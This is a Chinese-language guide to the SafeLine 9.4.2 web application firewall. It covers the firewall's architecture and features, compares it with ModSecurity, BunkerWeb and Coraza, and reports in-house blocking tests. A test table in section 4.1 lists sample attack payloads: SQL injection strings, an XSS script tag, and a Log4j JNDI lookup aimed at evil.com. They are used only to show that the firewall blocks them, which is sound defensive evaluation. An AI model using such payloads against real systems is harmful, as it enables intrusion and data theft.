SafeLine 介绍与选型指南

SafeLine(雷池)社区版 9.4.2 产品定位、组件架构与功能特性梳理,附 Nginx WAF(ModSecurity)、BunkerWeb、Coraza 选型对比与建议。

SafeLineSafeLine2026/10/18

SafeLine 介绍与选型指南

‍‍​​‌​> 目标:面向计划自建 Web 防护的技术团队,梳理 SafeLine(雷池)社区版 9.4.2 的产品定位、组件架构、核心功能,并与 Nginx WAF(ModSecurity 方案)、BunkerWeb、Coraza 做选型对比;结论基于本站 2026-10 的实际部署与攻击拦截实测。

一、环境信息

  • 评估对象:SafeLine CE(社区版)9.4.2,2026-09-28 发布,官方仓库 chaitin/SafeLine
  • 部署形态:官方 Compose 模板,7 服务(mgt / detector / tengine / pg / fvm / luigi / chaos),数据目录 /opt/data/safeline
  • 实测环境:Ubuntu 22.04 单机,管理端口 13905,站点检测端口 13907,后端源站 13990
  • 实测结论摘要:SQL 注入、XSS、Log4j(JNDI)、POST 注入四类攻击载荷全部 403 拦截并在攻击日志留痕,正常业务流量 200 放行
  • GitHub 仓库:https://github.com/chaitin/SafeLine(GPL-3.0,22.8k+ stars)
  • 官方文档:https://docs.waf.chaitin.cn/

二、产品定位

SafeLine(中文名「雷池」)是长亭科技开源的 Web 应用防火墙(WAF),以「反向代理 + 流量检测」方式工作:把网站域名解析到雷池,雷池转发请求到真实源站,转发前对流量做攻击检测,命中即拦截。核心卖点是将语义分析算法用于 HTTP 流量检测——不依赖逐条人工规则,对变形混淆的攻击载荷具备泛化识别能力,这是它与传统正则规则 WAF 的最大差异。

社区版(CE)免费提供完整检测能力与 Web 管理台,采用 GPL-3.0 许可;商业版在其上增加集群管理、流量镜像部署、专属规则等能力。项目 2023 年 4 月开源,截至本次评估(2026-10)GitHub 22,771 stars / 1,552 forks,累计发布 100+ 个版本,最新 v9.4.2,发版节奏 2023—2024 年平均每月 46 版、2025 年后保持每月 12 版的维护频率,处于活跃维护状态。

适用定位一句话概括:自托管、开箱即用、以语义检测见长的站点级 WAF 网关,适合给 Web/API 站点加一层前置防护,而非替代全功能 API 网关。

三、核心架构(组件关系)

社区版由 7 个服务组件构成(Compose 编排,实测服务名与镜像 chaitin/safeline-*):

组件镜像角色说明
mgtchaitin/safeline-mgt管理服务(配置面)控制台 API、站点/规则/黑白名单配置管理、攻击日志入库;唯一对外端口 13905(HTTPS)
detectorchaitin/safeline-detector检测引擎(数据面判定)内置语义分析引擎 snserver-engine 1.0.8 与正则规则,以 T1K 协议在内部网络 8000 端口接收检测请求
tenginechaitin/safeline-tengine流量网关(转发 + 检查点)Nginx 发行版 + T1K 检测插件,host 网络直接监听宿主站点端口(实测 13907),生成站点反代配置
pgchaitin/safeline-postgres:15.18数据库站点配置、攻击日志、账号数据
fvmchaitin/safeline-fvm规则虚拟机自定义规则(正则、限频等)的执行引擎
luigichaitin/safeline-luigi动态防护页面动态保护(JS 混淆加密、防爬)
chaoschaitin/safeline-chaos人机验证验证码/挑战页服务,配合 IP 风控使用

一次请求的完整链路(实测部署结构还原):

客户端 → tengine(13907,host 网络)
         ├─ T1K 插件 → detector(172.16.222.5:8000,T1K 协议)→ 判定:拦截/放行/观察
         ├─ 自定义规则 → fvm(172.16.222.8)
         ├─ 人机验证/挑战 → chaos(172.16.222.10)
         ├─ 动态防护注入 → luigi
         └─ 放行 → proxy_pass → 后端源站(实测 http://192.168.146.128:13990)
拦截/记录 → mgt(172.16.222.4)→ 入库 pg(mgt_detect_log_basic 等表)→ 控制台展示

引擎关系总结:mgt 是大脑(下发配置、汇总日志),detector 是裁判(对每个请求做语义 + 规则判定),tengine 是通道(在转发检查点执行裁判结论),fvm/luigi/chaos 是挂在裁判与通道上的扩展模块。检测判定全部内网完成,宿主侧只暴露两类端口:管理端口(mgt)与业务站点端口(tengine)。

四、功能特性

4.1 语义分析检测

检测引擎对请求的 URL、参数、请求头、Cookie、Body 逐层做语义解析,识别 SQL 注入、XSS 跨站脚本、命令执行、路径穿越、SSRF、Log4j(JNDI)注入等攻击类别。本站实测样本全部拦截(HTTP 403 + 事件日志):

攻击样本请求方式实测结果命中规则
?id=1 union select 1,2,3GET URL403 拦截m_sqli(SQL 注入)
?id=1 and updatexml(1,concat(0x7e,user()),1)GET URL403 拦截m_sqli
POST username=admin' or '1'='1POST body403 拦截m_sqli
?q=<script>alert(1)</script>GET URL403 拦截m_xss(XSS)
Header X-Api-Version: ${jndi:ldap://evil.com/x}请求头403 拦截m_rule(通用规则组,JNDI 载荷实测命中)
正常页面访问GET200 放行—

拦截响应为固定 HTML 拦截页,携带事件 ID(event_id: <32位hex>),可在控制台按该 ID 定位完整攻击记录。

4.2 防护规则体系

  • 内置语义规则:随镜像分发(m_sqli、m_xss、m_rule 等规则组),由官方规则库更新通道持续升级,无需人工维护
  • 自定义规则:控制台按站点配置正则/字符串匹配规则,交给 fvm 规则虚拟机执行,支持自定义动作(拦截、放行、人机验证)
  • 观察模式:站点可切换「防护模式/观察模式」,观察模式只记录不拦截,用于新站点灰度(实测站点配置 mode=2 对应观察模式,攻击请求返回 200 但日志照记,见实测记录:观察模式命中记录 action=2)
  • 防护站点配置:每站点独立开关防护、配置端口/域名/上游/负载算法,支持轮询与主备(实测 load_balance.balance_type=1 轮询 + upstream weight)

4.3 IP 风控与人机验证

  • IP 黑白名单:按 IP/网段配置放行或封禁
  • 限频与人机验证:对高频访问或可疑会话注入验证码挑战(chaos 组件渲染挑战页)
  • 动态防护(luigi):对返回页面注入 JS 加密,增加爬虫/CC 工具解析难度

4.4 日志与可视化

  • 攻击日志:拦截事件实时落库(实测表 mgt_detect_log_basic,含攻击类型、风险等级、动作、命中规则、攻击 IP、URL 明细),控制台「日志中心 → 攻击事件」可视化检索
  • 访问日志:网关访问日志落盘 logs/nginx/
  • 首页大屏:防护请求统计、攻击类型分布、站点健康概览

4.5 工程化能力

  • 一键 Compose 部署,单机 2 核 4G 起步(CPU 需 SSSE3 指令集)
  • 组件全部服务化编排,配置/日志落盘宿主目录,备份恢复即拷目录
  • 支持多站点、WebSocket 反代、上游健康检查、HTTPS 证书管理(控制台上传/申请)

五、适用场景

  • 给无防护能力的存量网站(Nginx/Tomcat/IIS/宝塔站点等)快速套一层 WAF,不改业务代码
  • 面向公网的 API 服务防扫描、防注入、防爬(配合动态防护与人机验证)
  • 内网/等保场景需要留存攻击日志与拦截证据(攻击日志完整落库,可导出)
  • 不适用:需要七层路由/熔断/限流编排的完整 API 网关场景(SafeLine 只做防护代理);需要旁路镜像流量检测(社区版不支持,属商业版能力)

六、与同类方案选型对比

对比对象:Nginx WAF(以 Nginx + ModSecurity v3 + OWASP CRS 规则集为代表)、BunkerWeb 1.6.16、Coraza 3.8.1。数据取自各项目 GitHub(2026-10 实时抓取)与本站 SafeLine 9.4.2 实测。

6.1 综合对比表

维度SafeLine CE 9.4.2Nginx + ModSecurity v3 + CRSBunkerWeb 1.6.16Coraza 3.8.1
产品形态独立 WAF 网关(7 服务编排,带管理台)Nginx 模块 + 规则文件(无管理台)自托管反向代理套件(Nginx 基座 + 插件 + 管理台)Go 语言 WAF 引擎库(非成品网关)
检测技术语义分析 + 内置正则规则(官方规则库自动更新)正则规则为主(OWASP CRS 规则集,需人工调优)Nginx 原生防护 + 安全插件(可接 CRS)规则引擎(Seclang,兼容 OWASP CRS 3/4)
部署复杂度低(Compose 一键起,UI 建站点)高(编译模块、维护规则与误报)中低(编排模板 + Web 管理)高(需开发集成到 Go 服务/自定义网关)
管理界面有(Web 控制台,中文)无(配置文件 + 日志工具)有(Web 管理台)无
攻击日志自动入库 + 控制台可视化检索(实测)error/access 日志自行分析有(含调度器日志)依赖宿主应用日志
许可GPL-3.0Apache-2.0(ModSecurity)/ CRS Apache-2.0AGPL-3.0Apache-2.0
GitHub stars22,7719,808(ModSecurity)11,0803,909
最近发版v9.4.2(2026-09-28)维护阶段(官方仓库近期无功能发版)v1.6.16(2026-10-14)v3.8.1(2026-10-02)
中文生态好(中文文档/社区/商业支持)一般一般一般
性能开销单进程代理转发 + 内网检测(实测同机 403 拦截响应毫秒级)进程内模块,开销低但调优不当误报高Nginx 原生,开销低进程内库,开销低
典型使用者运维团队/中小企业自建防护深度 Nginx 用户、有安全运维能力团队想要「反代 + 防护 + 证书」一站式的自托管用户Go 应用开发团队(应用内嵌 WAF)

6.2 差异要点说明

  • SafeLine vs Nginx WAF(ModSecurity):ModSecurity v3 已进入维护阶段(2024 年项目方宣布调整投入,官方仓库无近期功能发版),规则集 CRS 本身仍是事实标准;SafeLine 的语义引擎对混淆变形载荷更省心,且提供现成管理台与攻击日志,代价是检测引擎闭源(规则/算法不开源)且 GPL 许可。已有 ModSecurity 调优经验的团队可继续沿用,没有专人的团队 SafeLine 上手成本低得多。
  • SafeLine vs BunkerWeb:两者都是「自带管理台的自托管防护网关」。BunkerWeb 功能面更宽(自动 HTTPS、防机器人、地域限制等插件生态),SafeLine 检测纵深更强(语义分析引擎 + 商业级规则库),中文界面与中文支持是明显优势。选 BunkerWeb 更多是把它当「安全加强版反向代理」,选 SafeLine 是把它当「专业 WAF」。
  • SafeLine vs Coraza:不是同一层的东西——Coraza 是嵌入 Go 应用的 WAF 引擎库(兼容 CRS),SafeLine 是独立部署的网关。需要应用内嵌检测或自研网关时选 Coraza;要直接上线防护时 SafeLine/BunkerWeb 才是同类对比。
  • ** 许可提醒**:SafeLine GPL-3.0 对二次分发有传染性,做商业化分发需评估;BunkerWeb AGPL-3.0 对网络服务同样有开源义务;Coraza/ModSecurity Apache-2.0 最宽松。

6.3 选型建议

  • 想要开箱即用 + 中文管理台 + 语义检测,站点数量 1~20 个:选 SafeLine CE(本文实测路线,部署到拦截全流程半天内完成)
  • 已有成熟 Nginx 体系、有安全运维人力、需要完全开源可控:Nginx + ModSecurity + CRS
  • 需要「反代 + 自动证书 + 防护 + 多站点编排」一体化自托管面板:BunkerWeb
  • Go 技术栈要把 WAF 内嵌进应用或自研数据面:Coraza
  • 以上皆可组合:如 SafeLine 在前做语义拦截,后端 Nginx 挂 CRS 做第二层正则兜底

七、开源信息与许可

  • 仓库:https://github.com/chaitin/SafeLine(Go,GPL-3.0,created 2023-04-12,2026-09 仍有发版)
  • 许可:GPL-3.0(社区版);商业版另有许可与支持条款
  • 版本通道:chaitin/safeline-* 镜像 latest 标签跟随最新版;生产可用 IMAGE_TAG 锁定版本
  • 生态位:与国内宝塔/Nginx 生态兼容性好,官方提供在线文档、社区论坛与商业支持渠道

八、本站实测记录(关键证据)

  • 部署:SafeLine CE 9.4.2,Compose 7 服务全部 healthy(mgt 内建版本 version 9.4.2,检测引擎 snserver-engine 1.0.8)
  • 建站:站点 safeline-demo.local,端口 13907,上游 http://192.168.146.128:13990(nginx 1.27 静态源站),正常访问 200 且返回源站内容
  • 拦截:SQL 注入/XSS/Log4j/POST 注入四类样本全部 403,拦截页带 event_id;攻击明细落库 mgt_detect_log_basic(attack_type、risk_level、action、rule_id 齐全)
  • 观察模式:站点配置 mode=2 后同载荷返回 200(只记录不拦截),验证灰度能力
  • 误拦截处理:站点「排错路径」配置 URL 前缀排除(exclude_paths.prefixes)生效机制实测可用
  • 详细步骤与回显:《SafeLine Docker Compose 部署指南》

九、参考链接